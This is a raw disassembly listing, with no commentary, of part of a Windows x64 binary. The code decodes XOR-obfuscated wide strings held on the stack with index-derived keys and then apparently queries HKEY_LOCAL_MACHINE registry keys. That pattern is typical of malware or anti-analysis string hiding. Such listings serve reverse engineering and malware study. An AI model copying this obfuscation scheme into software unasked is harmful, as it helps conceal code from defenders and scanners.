psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x20], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x28]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x28], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x30]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmmword [0x14002c5b0]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movq qword [rsp + 0x30], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x38]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmmword [0x14002c5c0]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movq qword [rsp + 0x38], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x40], xmm3
jmp 0x1400209a1
lea r8, [rsp + 0x20]
nop dword [rax]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x14
jl 0x140020970
movups xmm1, xmmword [0x14002a8d0]
mov ecx, ebx
movups xmm0, xmmword [0x14002a8c0]
mov eax, dword [0x14002a920]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x14002a8f0]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x14002a8e0]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x14002a910]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x14002a900]
mov dword [rbp - 0x10], eax
movzx eax, word [0x14002a924]
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x30], xmm0
mov word [rbp - 0xc], ax
cmp edi, 2
jl 0x140020b00
lea rdx, [rbp - 0x70]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x30
jl 0x140020a10
cmp ecx, 0x33
jge 0x140020b48
movsxd rax, ecx
lea r8, [rbp - 0x70]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x33
jl 0x140020b10
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x70]
call fcn.1400160f0
cmp word [0x14002a082], bx
movups xmm0, xmmword [0x14002a070]
mov eax, dword [0x14002a080]
movups xmm1, xmmword [0x14002a6c8]
mov dword [rbp - 0x60], eax
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x14002a6b8]
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x14002a6d8]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14002a6e8]
movsd qword [rsp + 0x50], xmm0
je 0x140020bea
xor word [rbp - 0x6e], r12w
mov eax, 0x4d
xor word [rbp - 0x6c], r13w
xor word [rbp - 0x62], si
xor word [rbp - 0x60], r14w
mov word [rbp - 0x70], ax
mov eax, 0xff8e
xor word [rbp - 0x6a], ax
mov eax, 0xff8f
xor word [rbp - 0x68], ax
mov eax, 0xff90
xor word [rbp - 0x66], ax
mov eax, 0xff91
xor word [rbp - 0x64], ax
xor word [rbp - 0x5e], r15w
movzx eax, word [0x14002a6f0]
mov ecx, ebx
mov word [rsp + 0x58], ax
cmp edi, 2
jl 0x140020d00
lea rdx, [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x18
jl 0x140020c10
cmp ecx, 0x1d
jge 0x140020d48
movsxd rax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x1d
jl 0x140020d10
lea r8, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x20]
call fcn.140015f40
mov ecx, ebx
movups xmm0, xmmword [0x14002b6e0]
movups xmm1, xmmword [0x14002b6f0]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x14002b700]
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14002b710]
movsd qword [rsp + 0x50], xmm0
cmp edi, 2
jl 0x140020e90
lea rdx, [rsp + 0x20]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x18
jl 0x140020da0
cmp ecx, 0x1c
jge 0x140020ed8
movsxd rax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x1c
jl 0x140020ea0
movzx eax, word [0x14002a6f0]
mov ecx, ebx
mov word [rbp - 0x38], ax
movups xmm0, xmmword [0x14002a6b8]
movups xmm1, xmmword [0x14002a6c8]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x14002a6d8]
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14002a6e8]
movsd qword [rbp - 0x40], xmm0
cmp edi, 2
jl 0x140021010
lea rdx, [rbp - 0x70]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x18
jl 0x140020f20
cmp ecx, 0x1d
jge 0x140021058
movsxd rax, ecx
lea r8, [rbp - 0x70]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x1d
jl 0x140021020
lea r8, [rsp + 0x20]
mov rcx, 0xffffffff80000002
lea rdx, [rbp - 0x70]
call fcn.140016280
cmp word [0x14002bbae], bx
movups xmm4, xmmword [0x14002bb98]
movq xmm5, qword [0x14002bba8]
movups xmmword [rbp - 0x70], xmm4
movq qword [rbp - 0x60], xmm5
je 0x140021211
mov ecx, ebx
cmp edi, 2
jl 0x1400211d0
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
punpckhdq xmm0, xmm11
xorps xmm3, xmm1
pmuldq xmm0, xmm6
movq qword [rbp - 0x70], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp - 0x68]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rbp - 0x68], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp - 0x60], xmm3
jmp 0x140021211
lea r8, [rbp - 0x70]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0xc
jl 0x1400211e0
movups xmm0, xmmword [0x140029a30]
mov ecx, ebx
movups xmm1, xmmword [0x140029a40]
movzx eax, word [0x140029a88]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x140029a50]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140029a70]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x140029a80]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x140029a60]
movsd qword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x50], xmm1
mov word [rsp + 0x78], ax
cmp edi, 2
jl 0x140021370
lea rdx, [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x28
jl 0x140021280
cmp ecx, 0x2d
jge 0x1400213b8
movsxd rax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x2d
jl 0x140021380
lea r8, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x20]
call fcn.140016280
cmp word [0x14002b406], bx
movups xmm4, xmmword [0x14002b3f0]
movq xmm5, qword [0x14002b400]
movups xmmword [rbp - 0x70], xmm4
movq qword [rbp - 0x60], xmm5
je 0x140021571
mov ecx, ebx
cmp edi, 2
jl 0x140021530
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
punpckhdq xmm0, xmm11
xorps xmm3, xmm1
pmuldq xmm0, xmm6
movq qword [rbp - 0x70], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp - 0x68]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rbp - 0x68], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp - 0x60], xmm3
jmp 0x140021571
lea r8, [rbp - 0x70]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0xc
jl 0x140021540
movups xmm0, xmmword [0x140029a30]
mov ecx, ebx
movups xmm1, xmmword [0x140029a40]
movzx eax, word [0x140029a88]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x140029a50]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140029a70]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x140029a80]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x140029a60]
movsd qword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x50], xmm1
mov word [rsp + 0x78], ax
cmp edi, 2
jl 0x1400216d0
lea rdx, [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x28
jl 0x1400215e0
cmp ecx, 0x2d
jge 0x140021718
movsxd rax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x2d
jl 0x1400216e0
lea r8, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x20]
call fcn.140016280
mov eax, dword [0x140029270]
mov ecx, ebx
movq xmm5, qword [0x140029268]
mov dword [rbp - 0x58], eax
movzx eax, word [0x140029274]
mov word [rbp - 0x54], ax
movq qword [rbp - 0x60], xmm5
movups xmm4, xmmword [0x140029258]
movups xmmword [rbp - 0x70], xmm4
cmp edi, 2
jl 0x14002189a
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
mov ecx, 0xc
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
punpckhdq xmm0, xmm11
xorps xmm3, xmm1
pmuldq xmm0, xmm6
movq qword [rbp - 0x70], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp - 0x68]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rbp - 0x68], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp - 0x60], xmm3
mov eax, ecx
lea r8, [rbp - 0x70]
lea r8, [r8 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0xf
jl 0x1400218b0
movups xmm0, xmmword [0x140028da0]
mov ecx, ebx
movups xmm1, xmmword [0x140028db0]
mov eax, dword [0x140028df0]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x140028dc0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140028de0]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x140028dd0]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x70], eax
cmp edi, 2
jl 0x140021a30
lea rdx, [rsp + 0x20]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
